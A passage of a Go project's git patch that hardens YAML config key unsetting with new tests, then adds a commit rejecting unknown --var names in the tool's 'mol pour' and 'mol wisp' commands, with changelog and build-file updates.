orphan them; remove it by hand, or unset its keys individually if it is a mapping", key) + } + return nil +} + +// valueContinuesBelow reports whether the text after a key's colon leaves the +// value to the following lines: it is empty once a trailing comment is dropped, +// or holds only anchors and tags. +func valueContinuesBelow(rest string) bool { + rest = strings.TrimSpace(rest) + if i := strings.Index(rest, " #"); i >= 0 { + rest = rest[:i] + } else if strings.HasPrefix(rest, "#") { + rest = "" + } + for _, tok := range strings.Fields(rest) { + if !strings.HasPrefix(tok, "&") && !strings.HasPrefix(tok, "!") { + return false + } + } + return true +} + +// yamlTopLevelIndent is the indentation of the document's first key line, which +// every top-level key shares, or 0 when the document declares no key. +func yamlTopLevelIndent(lines []string) int { + for _, line := range lines { + if _, indent, ok := yamlKeyOnLine(line); ok { + return indent + } + } + return 0 +} + // nestedKeyWalk tracks how much of a dotted key a line-by-line scan has matched // so far, so a leaf is commented out only when it is nested under its OWN // parents rather than under some other section that happens to repeat a name. @@ -1245,17 +1386,20 @@ func (w *nestedKeyWalk) step(name string, indent int) bool { // direction already refuses what it cannot write correctly, so unset says so too. // // This is a list of known shapes, not a decision procedure for the whole class: -// a mapping-valued key and a value that spans lines in flow or quoted style land -// their bodies in the same place and are still silent. +// a value that spans lines in flow or quoted style lands its body in the same +// place and is still silent. A mapping-valued key is refused by the line +// matcher itself (mappingValueUnsetRefusal), which also covers single-segment +// keys this function never walks. // // Only a key that is actually present can be refused: unsetting a key that was // never there has always been a successful no-op, and staying silent about a // shape nobody asked to touch is the point. func unsupportedUnsetShape(content, key string) error { + // Single-segment keys are checked too. The database-backed unset clears + // the config.yaml layer for every key, so `notes: |` with an indented body + // reaches this path, and commenting its key line out orphans the body + // exactly as it does for a dotted key. segments := strings.Split(key, ".") - if len(segments) < 2 { - return nil - } var root yaml.Node if err := yaml.Unmarshal([]byte(content), &root); err != nil || len(root.Content) == 0 { // Nothing to walk. A file yaml.v3 cannot parse is not this function's diff --git a/internal/config/yaml_config_test.go b/internal/config/yaml_config_test.go index 72d2244e1..897f66485 100644 --- a/internal/config/yaml_config_test.go +++ b/internal/config/yaml_config_test.go @@ -1157,6 +1157,77 @@ func TestCommentOutYamlKey(t *testing.T) { key: "backup.enabled", expected: " # backup.enabled: true\nother: value", }, + { + // A flat key is a top-level key. A single-segment key must not + // match the same name nested under some other section: that is a + // different key, and the database-backed unset path would + // otherwise comment out backup.enabled to unset `enabled`. + name: "single-segment key does not match a nested line", + content: "backup:\n enabled: true\n", + key: "enabled", + expected: "backup:\n enabled: true\n", + }, + { + // Nor refuse on one: the nested `mode:` block is not this key's. + // A dedent ends the value: `k:` has nothing beneath it, since the + // next content line belongs to the parent's level, so it is + // commented like any empty-valued key. + name: "empty nested key followed by a dedent is still commented", + content: "outer:\n k:\nz: 1\n", + key: "outer.k", + expected: "outer:\n # k:\nz: 1\n", + }, + { + name: "single-segment key ignores a nested block of the same name", + content: "dolt:\n mode:\n x: 1\n", + key: "mode", + expected: "dolt:\n mode:\n x: 1\n", + }, + { + name: "nested key preserves siblings and comments", + content: "# Backup settings\nbackup:\n enabled: false\n interval: 15m\n", + key: "backup.enabled", + expected: "# Backup settings\nbackup:\n # enabled: false\n interval: 15m\n", + }, + { + name: "nested key three levels deep", + content: "a:\n b:\n c: 1\n", + key: "a.b.c", + expected: "a:\n b:\n # c: 1\n", + }, + { + name: "key with an empty value and no block is still commented", + content: "actor:\nother: value", + key: "actor", + expected: "# actor:\nother: value", + }, + { + name: "key with an empty value at end of file is still commented", + content: "other: value\nactor:", + key: "actor", + expected: "other: value\n# actor:", + }, + { + // A match must keep the file's trailing newline, and so must a + // miss: UnsetYamlConfig reports a write by comparing content, so a + // no-op that dropped the final newline would read as a change. + name: "flat key preserves the trailing newline", + content: "a: 1\n", + key: "a", + expected: "# a: 1\n", + }, + { + name: "no match preserves the trailing newline", + content: "other: value\n", + key: "backup.enabled", + expected: "other: value\n", + }, + { + name: "flat key without a trailing newline stays without one", + content: "a: 1", + key: "a", + expected: "# a: 1", + }, } for _, tt := range tests { @@ -1214,9 +1285,13 @@ other-setting: value defer os.Chdir(oldWd) // Test UnsetYamlConfig - if err := UnsetYamlConfig("backup.enabled"); err != nil { + changed, err := UnsetYamlConfig("backup.enabled") + if err != nil { t.Fatalf("UnsetYamlConfig() error = %v", err) } + if !changed { + t.Error("UnsetYamlConfig() changed = false, want true for a key present in config.yaml") + } // Read back and verify content, err := os.ReadFile(configPath) @@ -1340,9 +1415,13 @@ func TestSetAndUnsetYamlConfig_WithBEADS_DIR_FromOutsideRepo(t *testing.T) { t.Fatalf("expected runtime config to contain no-git-ops: true, got:\n%s", contentStr) } - if err := UnsetYamlConfig("no-git-ops"); err != nil { + changed, err := UnsetYamlConfig("no-git-ops") + if err != nil { t.Fatalf("UnsetYamlConfig() error = %v", err) } + if !changed { + t.Error("UnsetYamlConfig() changed = false, want true for a key present in config.yaml") + } content, err = os.ReadFile(configPath) if err != nil { t.Fatalf("Failed to read runtime config.yaml after unset: %v", err) diff --git a/internal/config/yaml_nested_roundtrip_test.go b/internal/config/yaml_nested_roundtrip_test.go index ab0d0ef58..df464551a 100644 --- a/internal/config/yaml_nested_roundtrip_test.go +++ b/internal/config/yaml_nested_roundtrip_test.go @@ -424,9 +424,16 @@ func TestUnsetRemovesADottedKeyInEveryShape(t *testing.T) { wasSet := GetStringFromDir(dir, tc.key) != "" t.Setenv("BEADS_DIR", dir) - if err := UnsetYamlConfig(tc.key); err != nil { + changed, err := UnsetYamlConfig(tc.key) + if err != nil { t.Fatalf("UnsetYamlConfig: %v", err) } + // The bool is what `bd config unset` reports as the location, so + // it must say a write happened exactly when there was a key to + // comment out. + if changed != wasSet { + t.Errorf("UnsetYamlConfig changed = %v, want %v", changed, wasSet) + } body, err := os.ReadFile(path) if err != nil { @@ -475,6 +482,31 @@ func TestUnsetRefusesShapesItCannotEdit(t *testing.T) { // so the whole file stops parsing rather than one section. {name: "block scalar under the flat spelling", seed: "dolt.host: |\n 10.0.0.1\nnode_id: mini\n", key: "dolt.host", want: "block scalar"}, {name: "folded block scalar under the flat spelling", seed: "dolt.host: >\n 10.0.0.1\nnode_id: mini\n", key: "dolt.host", want: "block scalar"}, + // A key whose value is the mapping beneath it: commenting its line out + // orphans the children at an indentation no key introduces, and the + // file stops parsing. Nested, flat single-segment, and a list value. + {name: "mapping-valued nested key", seed: "dolt:\n limits:\n host: mini\n", key: "dolt.limits", want: "lines beneath it"}, + {name: "mapping-valued single-segment key", seed: "backup:\n enabled: false\n interval: 15m\n", key: "backup", want: "lines beneath it"}, + {name: "mapping-valued key behind a comment", seed: "backup:\n # whether to back up\n enabled: false\n", key: "backup", want: "lines beneath it"}, + {name: "list-valued nested key", seed: "sync:\n remotes:\n - a\n - b\n", key: "sync.remotes", want: "lines beneath it"}, + // YAML lets a sequence value sit at the key's own indentation; the + // items still belong to the key, and orphaning them leaves a file that + // every later command fails to parse (#5760 review). + {name: "list at the key's own indentation", seed: "types.custom:\n- step\n- slot\n", key: "types.custom", want: "lines beneath it"}, + // Only a comment, an anchor or a tag after the colon still leaves the + // value to the lines beneath. + {name: "trailing comment on a mapping-valued key", seed: "backup: # note\n enabled: false\n", key: "backup", want: "lines beneath it"}, + {name: "anchored mapping-valued key", seed: "base: &b\n c: 1\n", key: "base", want: "lines beneath it"}, + {name: "anchored mapping-valued key with a comment", seed: "base: &b # shared\n c: 1\n", key: "base", want: "lines beneath it"}, + // A tag alone after the colon still leaves the value below. + {name: "tagged mapping-valued key", seed: "m: !!map\n a: 1\n", key: "m", want: "lines beneath it"}, + // A single-segment key's block scalar is refused like a dotted one's: + // the database-backed unset reaches this path for every key. + {name: "single-segment block scalar", seed: "notes: |\n hi\nnode_id: mini\n", key: "notes", want: "block scalar"}, + // A plain scalar continued on the next line is orphaned the same way. + {name: "plain scalar on the next line", seed: "dolt.mode:\n server\n", key: "dolt.mode", want: "lines beneath it"}, + // A CRLF blank line is a lone carriage return, not content at column 0. + {name: "mapping behind a CRLF blank line", seed: "backup:\r\n\r\n enabled: false\r\n", key: "backup", want: "lines beneath it"}, } for _, tc := range cases { t.Run(tc.name, func(t *testing.T) { @@ -485,7 +517,7 @@ func TestUnsetRefusesShapesItCannotEdit(t *testing.T) { } t.Setenv("BEADS_DIR", dir) - err := UnsetYamlConfig(tc.key) + _, err := UnsetYamlConfig(tc.key) if err == nil { body, _ := os.ReadFile(path) //nolint:errcheck // diagnostic t.Fatalf("unsetting %s in a %s reported success\n%s", tc.key, tc.name, body) @@ -517,9 +549,13 @@ func TestUnsetOfAnAbsentKeyStillSucceeds(t *testing.T) { } t.Setenv("BEADS_DIR", dir) - if err := UnsetYamlConfig("sync.remote"); err != nil { + changed, err := UnsetYamlConfig("sync.remote") + if err != nil { t.Fatalf("UnsetYamlConfig on an unset key: %v", err) } + if changed { + t.Error("UnsetYamlConfig on an unset key reported a write") + } body, err := os.ReadFile(path) if err != nil { t.Fatalf("read: %v", err) @@ -561,7 +597,7 @@ func TestSettingADottedKeyAgainAfterUnsetStaysNested(t *testing.T) { if err := SetYamlConfigInDir(dir, "sync.remote", "file:///a.git"); err != nil { t.Fatalf("first set: %v", err) } - if err := UnsetYamlConfig("sync.remote"); err != nil { + if _, err := UnsetYamlConfig("sync.remote"); err != nil { t.Fatalf("unset: %v", err) } if got := GetStringFromDir(dir, "sync.remote"); got != "" { @@ -696,7 +732,7 @@ func TestUnsetLeavesBlockScalarTextAlone(t *testing.T) { } t.Setenv("BEADS_DIR", dir) - if err := UnsetYamlConfig("sync.remote"); err != nil { + if _, err := UnsetYamlConfig("sync.remote"); err != nil { t.Fatalf("UnsetYamlConfig: %v", err) } diff --git a/internal/config/yaml_unset_newline_test.go b/internal/config/yaml_unset_newline_test.go index 16552a557..56064c3d2 100644 --- a/internal/config/yaml_unset_newline_test.go +++ b/internal/config/yaml_unset_newline_test.go @@ -15,8 +15,10 @@ import ( // in someone's review. // // The guarantee is scoped to LF documents. A CRLF file is still normalized to -// LF by any unset — that predates this fix and is pinned below as -// known-and-accepted rather than quietly claimed away. +// LF by an unset that actually comments a key out — that predates this fix and +// is pinned below as known-and-accepted rather than quietly claimed away. An +// unset that changes nothing no longer rewrites the file at all; see +// TestUnsetOfAnAbsentKeyLeavesACRLFFileUntouched. func TestCommentOutYamlKeyPreservesTheTrailingNewline(t *testing.T) { for _, tc := range []struct { name, content, key string @@ -91,7 +93,7 @@ func TestUnsetThroughTheFileKeepsTheTrailingNewline(t *testing.T) { t.Fatal(err) } t.Setenv("BEADS_DIR", beadsDir) - if err := UnsetYamlConfig("dolt.mode"); err != nil { + if _, err := UnsetYamlConfig("dolt.mode"); err != nil { t.Fatalf("UnsetYamlConfig: %v", err) } after, err := os.ReadFile(path) @@ -103,3 +105,149 @@ func TestUnsetThroughTheFileKeepsTheTrailingNewline(t *testing.T) { t.Errorf("unset rewrote the end of the file: trailing run %q, want %q\n%q", got, want, string(after)) } } + +// An unset of a key the document does not contain must not report a write. The +// bool that says so used to come from comparing commentOutYamlKey's result +// against the raw file bytes, and those sit on opposite sides of the CRLF +// normalization the callee applies unilaterally — so on a CRLF file the two +// strings always differed and every unset looked like a change. `bd config +// unset` then printed "Unset (in config.yaml)" for a key that was never +// there, the exact false claim this command's fix set out to remove, and +// rewrote the whole file to LF on the way past. Windows is a supported +// platform and every other change-report fixture in this package is LF, so +// nothing else in-tree can catch a regression here. +// +// Both public callers had the shape, so both are pinned. +func TestUnsetOfAnAbsentKeyLeavesACRLFFileUntouched(t *testing.T) { + const body = "issue_prefix: vp\r\nexport.auto: true\r\n" + + assertUntouched := func(t *testing.T, path string) { + t.Helper() + after, err := os.ReadFile(path) //nolint:gosec // test-owned temp path + if err != nil { + t.Fatal(err) + } + if string(after) != body { + t.Errorf("a no-op unset rewrote the file:\ngot: %q\nwant: %q", string(after), body) + } + } + + t.Run("UnsetYamlConfig", func(t *testing.T) { + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatal(err) + } + path := filepath.Join(beadsDir, "config.yaml") + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_DIR", beadsDir) + + changed, err := UnsetYamlConfig("dolt.mode") + if err != nil { + t.Fatalf("UnsetYamlConfig: %v", err) + } + if changed { + t.Error("UnsetYamlConfig() changed = true for a key the file does not contain") + } + assertUntouched(t, path) + }) + + t.Run("UnsetUserYamlConfig", func(t *testing.T) { + t.Setenv("HOME", t.TempDir()) + t.Setenv("XDG_CONFIG_HOME", t.TempDir()) + path, err := UserConfigYamlPath() + if err != nil { + t.Fatalf("UserConfigYamlPath: %v", err) + } + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + + changed, err := UnsetUserYamlConfig("dolt.mode") + if err != nil { + t.Fatalf("UnsetUserYamlConfig: %v", err) + } + if changed { + t.Error("UnsetUserYamlConfig() changed = true for a key the file does not contain") + } + assertUntouched(t, path) + }) +} + +// The other direction of the same compare. Normalizing before the call is what +// keeps the absent-key case above a no-op, but it also means each caller now +// decides between "write" and "was not set" on content it has already rewritten +// in memory. A caller that returned early whenever that normalization changed +// anything would pass every test above and turn each unset on a CRLF +// config.yaml into a silent " was not set" while the key stayed effective. +// The absent-key cell only proves the no-op direction, and the commentOutYamlKey +// CRLF pin sits below the decision, so neither can see that. +// +// The written file comes back LF throughout. That is base behavior, pinned here +// through both callers as known-and-accepted, like the callee-level pin above. +func TestUnsetOfAPresentKeyInACRLFFileReportsTheWrite(t *testing.T) { + const ( + body = "issue_prefix: vp\r\ndolt.mode: server\r\nexport.auto: true\r\n" + want = "issue_prefix: vp\n# dolt.mode: server\nexport.auto: true\n" + ) + + assertWritten := func(t *testing.T, path string) { + t.Helper() + after, err := os.ReadFile(path) //nolint:gosec // test-owned temp path + if err != nil { + t.Fatal(err) + } + if string(after) != want { + t.Errorf("the unset did not write the key out:\ngot: %q\nwant: %q", string(after), want) + } + } + + t.Run("UnsetYamlConfig", func(t *testing.T) { + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o755); err != nil { + t.Fatal(err) + } + path := filepath.Join(beadsDir, "config.yaml") + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_DIR", beadsDir) + + changed, err := UnsetYamlConfig("dolt.mode") + if err != nil { + t.Fatalf("UnsetYamlConfig: %v", err) + } + if !changed { + t.Error("UnsetYamlConfig() changed = false for a key the file contains") + } + assertWritten(t, path) + }) + + t.Run("UnsetUserYamlConfig", func(t *testing.T) { + t.Setenv("HOME", t.TempDir()) + t.Setenv("XDG_CONFIG_HOME", t.TempDir()) + path, err := UserConfigYamlPath() + if err != nil { + t.Fatalf("UserConfigYamlPath: %v", err) + } + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + + changed, err := UnsetUserYamlConfig("dolt.mode") + if err != nil { + t.Fatalf("UnsetUserYamlConfig: %v", err) + } + if !changed { + t.Error("UnsetUserYamlConfig() changed = false for a key the file contains") + } + assertWritten(t, path) + }) +} From 35bac24ecc2ea2f30e10ac83bd4ed5a84136d4ab Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Thu, 1 Oct 2026 05:09:35 -0700 Subject: [PATCH 026/325] fix(pour): reject --var names the proto cannot consume (#5762) * fix(pour): reject --var names the proto cannot consume An unrecognized --var name was dropped without comment. The failure that surfaces is not a missing substitution but a missing step: a typo in an optional var leaves its condition evaluating against an unset name, so the conditional step is quietly never poured and the molecule looks like it simply does not have that step. checkPourVars now rejects names that no proto in the pour declares in VarDefs or references as a {{handlebar}}, listing what is available. Anything that could still affect the pour is accepted: a documentation handlebar the formula never declared, and a var belonging to an --attach proto rather than the root, both pass. Missing required vars are reported first, unchanged, since the caller's hint is derived from them. That hint is now only attached when a required var really is missing. It interpolated missingVarHint unconditionally, so any other failure from checkPourVars would have advised "--var =". * fix(wisp): reject --var names the proto cannot consume bd mol wisp validates vars through checkRequiredVars rather than checkPourVars, so the unknown-name rejection added for pour did not reach it and a typo was still dropped without comment on the wisp path. Route it through the same check. A wisp instantiates one proto with no attachments, so the known set is that proto's declared vars plus the handlebars it references. The missing-var hint is now only attached when a var really is missing here too, matching pour: otherwise any other failure from this check advised "--var =". * fix(pour): count a var used only by a step condition as consumable checkUnknownVars built its known set from the cooked subgraph, so it could not see step conditions: formula.FilterStepsByCondition consumes them and drops the steps carrying them BEFORE the cook, and nothing requires a condition var to be declared in [vars]. An undeclared var that decides which steps get poured therefore left no trace anywhere the check looked, and a hard error turned a working pour into a failing one - exactly the case the rule ("a name is rejected only when nothing in the pour could consume it") means to accept. TemplateSubgraph gains ConditionVars, recorded by resolveAndCookFormulaWithVars immediately before the condition filter runs - the last point at which those names are still visible. Collected unconditionally, since they are a property of the formula rather than of this pour's --var values, which is what makes the falsey case work: the step is gone, and the var that removed it still counts. knownVarsAcross adds them. A persisted proto loaded from the database leaves the field empty, correctly: it has no formula behind it and its conditions were resolved at cook time. The reviewer's reproduction, against the pre-fix code: Error: unknown variables: has_spike (available: story) Regression coverage answers the fifth review point as well - that every existing test called checkPourVars directly with a hand-built subgraph, which is precisely why this was invisible. TestBdMolPour_AcceptsAVarUsedOnlyByAStepCondition runs the CLI through the real cook pipeline with has_spike both true and false (the falsey case being the one that regresses if the collection ever moves after the filter), plus a typo case proving the widened set does not disable the check. Two unit cases cover the same pair. The check does not disable itself: a typo in a condition var is still reported, now with the condition var among the available names. Non-blocking review points 3 and 4: pour's and wisp's --var flag help says an unusable name is an error, and the CHANGELOG entry states the new behavior and says plainly that `bd mol bond --var` and `bd mol seed --var` remain out of scope - both go through formula.ValidateProvidedVars, which only iterates declared vars and so never examines a provided name with no VarDef. On review point 2 (the interaction with #5758): no action needed either way round. #5758 widens extractAllVariables itself, and knownVarsAcross calls that same function, so a var referenced only from a step's assignee/labels/metadata joins this known set automatically when #5758 lands, in whichever order the two merge. Reported-by: bee-ghosttrack Agent-Signature: claude-code-opus-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5 (1M context) * test(pour): exercise the real cook pipeline without spawning a binary The end-to-end case spawned an embedded bd and ran three CLI invocations, the most expensive shape of test in cmd/bd - and cmd/bd already runs 477s of its 600s budget on the macos runner, so the addition timed the package out. The process boundary was not the point. What the unit tests could not see was the ORDERING inside the cook pipeline, and resolveAndCookFormulaWithVars takes its search paths as an argument, so the real pipeline - control flow, expansions, FilterStepsByCondition, the cook - runs directly against a formula in a temp dir. Same coverage in 0.01s instead of 32s. It is also a sharper test than the CLI version was. It now asserts the PREMISE of the falsey case (that the conditional step really is absent from the cooked subgraph, so the case is testing the ordering rather than passing for an unrelated reason), and that the typo error offers the condition var among the available names, which is the actual user-visible point of carrying those names into the known set. Both reds confirmed, including the near-miss: with the known-set change reverted all three cases fail, and with the collection moved to AFTER the condition filter - the plausible fix, and the one the reviewer's suggested call site would have produced - has_spike=true passes while has_spike=false still fails: --- FAIL: .../has_spike_false pour rejected a var its own step condition consumes (has_spike=false): unknown variables: has_spike (available: story) Agent-Signature: claude-code-opus-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5 (1M context) * docs(changelog): move this PR's entry under [Unreleased] The 1.3.0 cut renamed the old [Unreleased] block, so the entry this branch added there now merges cleanly into the released [1.3.0] section (#6643). Agent-Signature: claude-code-opus-5-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5.5 (1M context) * chore(bazel): enumerate the PR's new cmd/bd test files in go_test srcs gazelle-generated. cmd/bd/BUILD.bazel lists go_test srcs explicitly, so the two untagged test files this PR adds would not run under the advisory Bazel lane added in #6881. Base parity at 6da2a4347 is exhaustive for untagged tests (the only two unenumerated files are //go:build cgo && integration), so the omission is PR-introduced rather than a pre-existing pattern. Produced by make bazel-sync; no deps line was needed because go_test embeds :bd_lib, which already depends on //internal/formula and //internal/types. Co-Authored-By: Claude Opus 5 * fix(pour): read every substituted field into the unknown-var known set Maintainer review fixup for the unknown-`--var` refusal. The refusal failed CLOSED on a known set narrower than what the pour actually substitutes, so it rejected names the clone demonstrably consumes. - knownVarsAcross read the five prose fields only, missing a gate's await_id and a gh:* gate's metadata.repo selector; a formula's `repo = "{{gate_repo}}"` is stored literally on the proto and filled in at clone time, and nothing mirrors that name into a scanned field. substitutedIssueFields now mirrors cloneSubgraphInto's substitution set, and gateRepoSelector is factored out of substituteMetadataRepo so the read and write sides of the selector cannot disagree about which issues carry one. - a proto loaded from the database has no formula behind it, so its [vars] declarations are gone and a declared-but-unreferenced name cannot be told apart from a typo. `VarDefs == nil` does not identify that case - a formula declaring no [vars] is also nil, and that proto really does take none - so the cook stamps DeclaredVarsKnown and the refusal stands down without it. That covers every `bd cook --persist` proto and every --attach proto, which is always DB-loaded. - a handlebar living only inside a step the condition filter dropped left the known set, so `--var deploy=false --var deploy_target=prod` failed while deploy=true succeeded. ConditionVars becomes FormulaVarRefs and is collected from the unfiltered steps' text and gate fields as well as their conditions, making a name's validity a property of the formula rather than of another var's value. - a standalone `type = "expansion"` formula has no [[steps]]: MaterializeExpansion builds them from its [[template]] before the cook, substituting --var values into single-brace `{name}` placeholders, so a name used only there was consumed and then refused as unknown. formula.ExpansionVarRefs reports those names by running that same expansion - expandStep now wraps expandStepWith - with a substitution that records instead of replacing, so it covers exactly the fields the expansion fills in, including a name that `{target.description}` pulls in from the formula's own description. cook adds them to FormulaVarRefs ahead of the filter, and without MaterializeExpansion's has-Steps skip: the filter can remove every step, and then the template is materialized after all. The hint-suppression branch was hand-copied to three sites and tested at none; it is now handleVarErrorWithHint, pinned by a stderr assertion that an unknown-var error prints no `Provide them with: --var =`. Tests: table cases for both gate fields and for `repo` on a non-gh gate staying unsubstituted (the polarity that keeps the read side honest), for the DB-loaded stand-down directly and via an --attach proto, and real-pipeline cases for the dropped-step var, for vars only a dropped step's gate uses (await_id and a gh:* repo), and for a template-only placeholder var, whose typo is still refused with the real name offered. ExpansionVarRefs is pinned per substituted field, per field the expansion drops (notes, condition), and for an expansion formula that also has steps. Mutating each arm reds exactly the matching cases and nothing else. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Julian Knutsen Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 29 ++ cmd/bd/BUILD.bazel | 2 + cmd/bd/cook.go | 96 +++++- cmd/bd/pour.go | 113 ++++++- cmd/bd/pour_unknown_vars_pipeline_test.go | 327 ++++++++++++++++++++ cmd/bd/pour_unknown_vars_test.go | 354 ++++++++++++++++++++++ cmd/bd/template.go | 91 ++++++ cmd/bd/wisp.go | 8 +- cmd/bd/wisp_proxied_server.go | 2 +- internal/formula/expand.go | 87 +++++- internal/formula/expand_test.go | 74 +++++ 11 files changed, 1158 insertions(+), 25 deletions(-) create mode 100644 cmd/bd/pour_unknown_vars_pipeline_test.go create mode 100644 cmd/bd/pour_unknown_vars_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index e2f6684ee..28cbd3d10 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -867,6 +867,35 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 enable it where a firewall, private interface, or tunnel bounds who can reach the port. +- **`bd mol pour` and `bd mol wisp` now reject a `--var` name the proto cannot + consume, instead of dropping it silently.** An unusable name was accepted and + ignored, which turned a typo in an optional var into a conditional step that + quietly never appeared, or a defaulted var that quietly kept its default - + with a successful exit and no output to suggest otherwise. A name is accepted + if any proto being poured declares it, references it as a `{{handlebar}}` in + any field the pour substitutes - the prose fields, `assignee`, `labels`, a + gate's `await_id`, and every string value in its metadata - references it + from a step `condition` or from a step that `condition` removed, or uses it + as a `{name}` placeholder that a standalone `type = "expansion"` formula + substitutes as it builds its steps from `[[template]]`. The last + three matter because the condition filter and the `[[template]]` expansion + both run before the cook, and nothing in the cooked subgraph records + the names they consume or drop; collecting them ahead of the filter + also keeps a name's validity a property of the formula rather than of + another var's value. Anything left over cannot affect the pour, so it + is reported: `unknown variables: has_spke (available: has_spike, story)`. A + var belonging to an `--attach` proto still passes, as do a proto's + documentation handlebars. The refusal applies only where the declared-var set + is fully known, which means a proto cooked from a formula: a proto loaded from + the database (`bd cook --persist` output, and every `--attach` proto) no + longer has its `[vars]` declarations, so a declared-but-unreferenced name is + indistinguishable from a typo and nothing is refused for that pour rather than + risk breaking one that works. Out of scope for now: `bd mol bond --var` and + `bd mol seed --var` go through `formula.ValidateProvidedVars`, which only + iterates declared vars, so they still drop an unknown name silently. Also + fixed alongside: the missing-var hint printed `--var =` when there was + no missing var to name. + - **A formula with a `waits_for` gate and no spawner to wait for is now rejected, and an invalid formula is no longer reported as not found.** A gate step infers its spawner from `needs[0]`, so with nothing to infer from, diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index e6045c935..7c9261123 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -957,6 +957,8 @@ go_test( "orphans_test.go", "output_test.go", "pour_proxied_integration_test.go", + "pour_unknown_vars_pipeline_test.go", + "pour_unknown_vars_test.go", "pour_wisp_var_validation_test.go", "preflight_test.go", "prime_divergence_test.go", diff --git a/cmd/bd/cook.go b/cmd/bd/cook.go index f278c4c4f..d76422c97 100644 --- a/cmd/bd/cook.go +++ b/cmd/bd/cook.go @@ -4,6 +4,7 @@ import ( "context" "encoding/json" "fmt" + "sort" "strings" "time" @@ -774,6 +775,20 @@ func resolveAndCookFormulaWithVars(formulaName string, searchPaths []string, con } } + // Record which variables the formula's steps reference, before the filter + // below removes steps. Both a condition var and a handlebar that lives only + // inside a dropped step leave no trace in the cooked subgraph, so this is + // the only point at which those names are still visible. Collected + // unconditionally: the names are a property of the formula, not of this + // pour's --var values. + formulaVarNames := formulaVarRefs(resolved.Steps) + // A standalone expansion formula's steps are materialized from its template + // below, against this synthetic target, and that substitutes --var values + // into the template's {name} placeholders as it builds them: a name used + // only there is consumed without leaving a trace either. + const expansionTarget = "main" + formulaVarNames = append(formulaVarNames, formula.ExpansionVarRefs(resolved, expansionTarget)...) + // Apply step condition filtering if vars provided (bd-7zka.1) // This filters out steps whose conditions evaluate to false if conditionVars != nil { @@ -811,13 +826,83 @@ func resolveAndCookFormulaWithVars(formulaName string, searchPaths []string, con expansionVars[k] = v } } - if err := formula.MaterializeExpansion(resolved, "main", expansionVars); err != nil { + if err := formula.MaterializeExpansion(resolved, expansionTarget, expansionVars); err != nil { return nil, fmt.Errorf("standalone expansion %q: %w", formulaName, err) } } // Cook to in-memory subgraph, including variable definitions for default handling - return cookFormulaToSubgraphWithVars(resolved, resolved.Formula, resolved.Vars) + subgraph, err := cookFormulaToSubgraphWithVars(resolved, resolved.Formula, resolved.Vars) + if err != nil { + return nil, err + } + subgraph.FormulaVarRefs = formulaVarNames + return subgraph, nil +} + +// formulaVarRefs returns the variable names the steps reference, walking +// children, deduplicated and sorted. Call it on the UNFILTERED steps: every +// name it finds can be erased by formula.FilterStepsByCondition. +// +// Two kinds of reference are collected, and both are consumable: +// +// - step conditions, which the filter consumes and never copies to an issue +// field. These are handlebar expressions - `{{spike}}`, `!{{spike}}`, +// `{{env}} == "prod"` (internal/formula/stepcondition.go) - so the same +// extractor the substitutable fields use finds their names. +// - the substitutable fields of the steps themselves - prose, assignee, +// labels and metadata values - which vanish when the filter drops the +// step. Without them, `--var deploy=false --var deploy_target=prod` would +// reject deploy_target while `deploy=true` accepted it, making one name's +// validity depend on another name's value. +// +// The step fields read here are the ones processStepToIssue copies into a +// substituted issue field, plus the gate fields createGateIssue derives from +// step.Gate; keep them in sync with those two functions and with +// substitutedIssueFields, which is the same question asked of a cooked issue. +func formulaVarRefs(steps []*formula.Step) []string { + seen := make(map[string]bool) + var walk func([]*formula.Step) + walk = func(ss []*formula.Step) { + for _, step := range ss { + if step == nil { + continue + } + texts := []string{step.Condition, step.Title, step.Description, step.Notes, step.Assignee} + texts = append(texts, step.Labels...) + // processStepToIssue carries the metadata onto the issue as JSON, + // and the pour substitutes every string value in it but never a + // key, so read it back the way substitutedIssueFields does. + if len(step.Metadata) > 0 { + if metaJSON, err := json.Marshal(step.Metadata); err == nil { + texts = append(texts, metadataVarStrings(metaJSON)...) + } + } + if step.Gate != nil { + // createGateIssue mirrors the awaitID into the gate issue's + // Title and AwaitID, and writes Repo to metadata.repo only for + // gh:* gate types. + texts = append(texts, gateAwaitID(step.Gate)) + if isGitHubGateType(step.Gate.Type) { + texts = append(texts, step.Gate.Repo) + } + } + for _, text := range texts { + for _, name := range extractVariables(text) { + seen[name] = true + } + } + walk(step.Children) + } + } + walk(steps) + + names := make([]string, 0, len(seen)) + for name := range seen { + names = append(names, name) + } + sort.Strings(names) + return names } // cookFormulaToSubgraphWithVars creates an in-memory subgraph with variable info attached @@ -826,6 +911,13 @@ func cookFormulaToSubgraphWithVars(f *formula.Formula, protoID string, vars map[ if err != nil { return nil, err } + // The formula is in hand here, so whatever VarDefs ends up being IS its + // complete declared-variable set - including the nil map a formula with no + // [vars] section produces. Persistence is what loses the declarations, so + // only this path may claim they are known (see TemplateSubgraph. + // DeclaredVarsKnown). + subgraph.DeclaredVarsKnown = true + // Attach variable definitions to the subgraph for default handling during pour // Convert from *VarDef to VarDef for simpler handling if vars != nil { diff --git a/cmd/bd/pour.go b/cmd/bd/pour.go index 5b3b628fd..91aa946eb 100644 --- a/cmd/bd/pour.go +++ b/cmd/bd/pour.go @@ -4,6 